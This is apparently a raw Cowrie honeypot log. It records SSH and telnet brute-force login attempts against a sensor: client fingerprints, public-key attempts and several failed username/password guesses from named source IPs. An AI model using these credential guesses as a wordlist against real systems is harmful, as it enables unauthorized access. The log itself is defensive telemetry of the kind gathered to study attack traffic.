{"eventid":"cowrie.session.connect","src_ip":"154.16.180.24","src_port":40112,"dst_ip":"10.17.0.5","dst_port":22,"session":"1326c56153ed","protocol":"ssh","message":"New connection: 154.16.180.24:40112 (10.17.0.5:22) [session: 1326c56153ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.161306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.167264Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.252520Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:06:64:24:bf:e7:f5:c8:16:40:a8:93:ca:8f:0a:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcxkHiTBBBM88M4WszLvg6x+8WqE23eUWe0eO0W7bvQRIWrfmgch3QOHwSQ8rnH/pCkXOAK4DBM37z6Uf9Lonfge7UCPs0RF+5ZPu0mkh5nT8Z/rXwzeO3paQj9xVj7Y7jrsC6QHCjf0qFa5Dwfq1Vq8x+4Wyv2dfxd/Dp5wqG9nhlkeHmbgb8gRQnyWt43Wi6pb/aebuTDZjwv6OMjI2qfaYlqmotaytobdCRXuAbTrBrpdWoL2qANKrEQKNEDRYTCDqH2o4f1Tr1xEF5+mt1oKtiz65H6il+nbzX/VsGZiHgggAsLEOoe6qDvjUyRYFTOMQVMngu73TddlVKCoot","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:06:64:24:bf:e7:f5:c8:16:40:a8:93:ca:8f:0a:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.643876Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:06:64:24:bf:e7:f5:c8:16:40:a8:93:ca:8f:0a:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcxkHiTBBBM88M4WszLvg6x+8WqE23eUWe0eO0W7bvQRIWrfmgch3QOHwSQ8rnH/pCkXOAK4DBM37z6Uf9Lonfge7UCPs0RF+5ZPu0mkh5nT8Z/rXwzeO3paQj9xVj7Y7jrsC6QHCjf0qFa5Dwfq1Vq8x+4Wyv2dfxd/Dp5wqG9nhlkeHmbgb8gRQnyWt43Wi6pb/aebuTDZjwv6OMjI2qfaYlqmotaytobdCRXuAbTrBrpdWoL2qANKrEQKNEDRYTCDqH2o4f1Tr1xEF5+mt1oKtiz65H6il+nbzX/VsGZiHgggAsLEOoe6qDvjUyRYFTOMQVMngu73TddlVKCoot","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.648115Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:99:0d:67:2a:42:1d:07:4c:61:68:f7:f2:8b:49:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5IkW2icKJyhC+9OukzRftALkuc8lOVU4QfwT111hkclCakg8FqtzJ0EbOrHGaaGYR7UhhNiah5AhanFH6FecqKsDdot5iocmjiJJqGAnw4klLO4q0RSriR7i1u2TD7gBzgMk3xIaBegxoWQvOUhlWqsrCp3trov/mLkZyE76rSnCFOwb7uByd1wWcyxW0HzZhcF/GqvYbM7McYjLVfL3XFKUXANWHYb5OfTUaQrNpxGbYo34dTZzTqAaozmNz9877BvP/cObHZNih6EMxhX7I8D2W/LuSkKBT4I3DVz4SIpDg0FiJExE9GZ3DeDAvV69m+K7wA1V8BrdrpjMpdgBb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:99:0d:67:2a:42:1d:07:4c:61:68:f7:f2:8b:49:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.733387Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:99:0d:67:2a:42:1d:07:4c:61:68:f7:f2:8b:49:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5IkW2icKJyhC+9OukzRftALkuc8lOVU4QfwT111hkclCakg8FqtzJ0EbOrHGaaGYR7UhhNiah5AhanFH6FecqKsDdot5iocmjiJJqGAnw4klLO4q0RSriR7i1u2TD7gBzgMk3xIaBegxoWQvOUhlWqsrCp3trov/mLkZyE76rSnCFOwb7uByd1wWcyxW0HzZhcF/GqvYbM7McYjLVfL3XFKUXANWHYb5OfTUaQrNpxGbYo34dTZzTqAaozmNz9877BvP/cObHZNih6EMxhX7I8D2W/LuSkKBT4I3DVz4SIpDg0FiJExE9GZ3DeDAvV69m+K7wA1V8BrdrpjMpdgBb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.737218Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:fd:5a:4e:7f:43:aa:cd:de:93:e7:55:fa:74:15:da","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ00uglzaqbQAcaUiW7hk7Rv2Rid9iXa4C9ijz5vZHFFL2EY0kEsn2lizPjTjW9qe3YtvtnYZQutAOudUIBrwe6eQZxGlap2IYbfYNIbFlhsj7i0tNVEcwSZoac7qCAu+H4yi++ya5o5a25q/wsEUyFdbqfUCQGQ3eUGSRIY07PpAAAAFQDo/vs/nP0rCL7XL6dkuH9Nfw5PxwAAAIEAgV+A+9PSNwDxj2KbYRe2azfVcVixiZqNSNHaQ0srzLL8oXCrOb0y51DIezQRiTEdEkSjDJlBv7TUPOH4U1ZaTXExbhBhzzMQrX3QBheonJJBiEGDgG2tq0tMDrByI+6OEfFNPcglnlbweVwIBvoVa/Ys68jdMU8NsQX0CgYEblcAAACBAI7Q3uYfRRh70Nv7conQ1HhIpu/l1ND0PntullfMDVsbQVjFX84+Zczq7iewqay2RNYMNHPKs2NPJo4Un2xLbvmyt2f5i5NJ0vjPwEGNBX8UgRTd5Dst1qXn/rofIBR3UokYxsE9cl//M21JPuVjQ0Lw3S8QZgiLg1ZrSIMxW/b+","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 6f:fd:5a:4e:7f:43:aa:cd:de:93:e7:55:fa:74:15:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.821428Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:fd:5a:4e:7f:43:aa:cd:de:93:e7:55:fa:74:15:da","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ00uglzaqbQAcaUiW7hk7Rv2Rid9iXa4C9ijz5vZHFFL2EY0kEsn2lizPjTjW9qe3YtvtnYZQutAOudUIBrwe6eQZxGlap2IYbfYNIbFlhsj7i0tNVEcwSZoac7qCAu+H4yi++ya5o5a25q/wsEUyFdbqfUCQGQ3eUGSRIY07PpAAAAFQDo/vs/nP0rCL7XL6dkuH9Nfw5PxwAAAIEAgV+A+9PSNwDxj2KbYRe2azfVcVixiZqNSNHaQ0srzLL8oXCrOb0y51DIezQRiTEdEkSjDJlBv7TUPOH4U1ZaTXExbhBhzzMQrX3QBheonJJBiEGDgG2tq0tMDrByI+6OEfFNPcglnlbweVwIBvoVa/Ys68jdMU8NsQX0CgYEblcAAACBAI7Q3uYfRRh70Nv7conQ1HhIpu/l1ND0PntullfMDVsbQVjFX84+Zczq7iewqay2RNYMNHPKs2NPJo4Un2xLbvmyt2f5i5NJ0vjPwEGNBX8UgRTd5Dst1qXn/rofIBR3UokYxsE9cl//M21JPuVjQ0Lw3S8QZgiLg1ZrSIMxW/b+","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.825776Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:72:1a:29:cc:01:a5:31:42:3b:33:d3:13:36:b8:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7OKjYH9mZJLjElyDDdViC9XgZ63Po0HQ1Zxc/gMeC3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint d3:72:1a:29:cc:01:a5:31:42:3b:33:d3:13:36:b8:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.910566Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:72:1a:29:cc:01:a5:31:42:3b:33:d3:13:36:b8:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH7OKjYH9mZJLjElyDDdViC9XgZ63Po0HQ1Zxc/gMeC3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:16.914584Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:0e:75:ee:69:f4:cb:03:56:ff:41:55:71:e3:14:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC12srwDetXC8Ui7OrSdsa9ie2LzJdI/u/NkWbRJmGeH7jV08eajH/3WDb6Ey5H1YLcWC9Rqnwh5MnPIIVziU+vWk4soz6FAylf6SdfK/ZCf3YIHyVmVvTyNAGYfZrj4gAXagTaANPbP7VR7IDnxQBqlUIAZAfkavmVd18BtUCcFYxJMVW6B8bx+NWw6ZXNb5i53cKfzXLIiI121qTmV4m+vOQvY8vBmgdKaP4AQlpFgmCkk5vYqickgzUUl21EpdYabtVgG6+OD0sJPX3TO3z19FnAilUuXJGuKGsrIGF9IviE8UlkHigY1m2Cgmp2aMfYo1vtLo2U7/pFZ9z8nwG7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:0e:75:ee:69:f4:cb:03:56:ff:41:55:71:e3:14:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:17.001181Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:0e:75:ee:69:f4:cb:03:56:ff:41:55:71:e3:14:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC12srwDetXC8Ui7OrSdsa9ie2LzJdI/u/NkWbRJmGeH7jV08eajH/3WDb6Ey5H1YLcWC9Rqnwh5MnPIIVziU+vWk4soz6FAylf6SdfK/ZCf3YIHyVmVvTyNAGYfZrj4gAXagTaANPbP7VR7IDnxQBqlUIAZAfkavmVd18BtUCcFYxJMVW6B8bx+NWw6ZXNb5i53cKfzXLIiI121qTmV4m+vOQvY8vBmgdKaP4AQlpFgmCkk5vYqickgzUUl21EpdYabtVgG6+OD0sJPX3TO3z19FnAilUuXJGuKGsrIGF9IviE8UlkHigY1m2Cgmp2aMfYo1vtLo2U7/pFZ9z8nwG7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:17.005961Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:17.090053Z","src_ip":"154.16.180.24","session":"1326c56153ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e03e4c9eede","protocol":"telnet","message":"New connection: 152.42.224.71:46802 (10.17.0.5:23) [session: 0e03e4c9eede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:19.753228Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":22911,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb2323580b15","protocol":"ssh","message":"New connection: 2.57.121.112:22911 (159.203.135.109:22) [session: cb2323580b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:46.628568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:46.633075Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:46.728457Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"42069","message":"login attempt [admin/42069] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:47.182154Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":48574,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9507a1b5f38","protocol":"ssh","message":"New connection: 147.45.211.215:48574 (159.203.135.109:22) [session: f9507a1b5f38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:47.767906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:47.772003Z","src_ip":"147.45.211.215","session":"f9507a1b5f38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:47.946926Z","src_ip":"147.45.211.215","session":"f9507a1b5f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4118","message":"login attempt [admin/4118] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:48.280978Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"logitech","message":"login attempt [root/logitech] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:48.452943Z","src_ip":"147.45.211.215","session":"f9507a1b5f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"369147","message":"login attempt [admin/369147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:49.381298Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:49.636905Z","src_ip":"147.45.211.215","session":"f9507a1b5f38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3666","message":"login attempt [admin/3666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:50.479599Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"34533453","message":"login attempt [admin/34533453] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:51.578670Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:56:52.677531Z","src_ip":"2.57.121.112","session":"cb2323580b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.587774991989136,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:05.340903Z","src_ip":"152.42.224.71","session":"0e03e4c9eede","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01154804229736,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:15.105662Z","src_ip":"152.42.224.71","session":"2dfd0891a37a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7053,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cb4d42df06e","protocol":"ssh","message":"New connection: 2.57.121.25:7053 (159.203.135.109:22) [session: 9cb4d42df06e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:23.430367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:23.435344Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:23.538798Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1709","message":"login attempt [user/1709] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:24.017066Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17071994","message":"login attempt [user/17071994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:25.123584Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170584","message":"login attempt [user/170584] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:26.228063Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17021975","message":"login attempt [user/17021975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:27.332621Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17011981","message":"login attempt [user/17011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:28.435631Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:29.540690Z","src_ip":"2.57.121.25","session":"9cb4d42df06e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":8422,"dst_ip":"10.17.0.5","dst_port":22,"session":"d93b2465275f","protocol":"ssh","message":"New connection: 79.127.181.44:8422 (10.17.0.5:22) [session: d93b2465275f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:57:30.022244Z"}
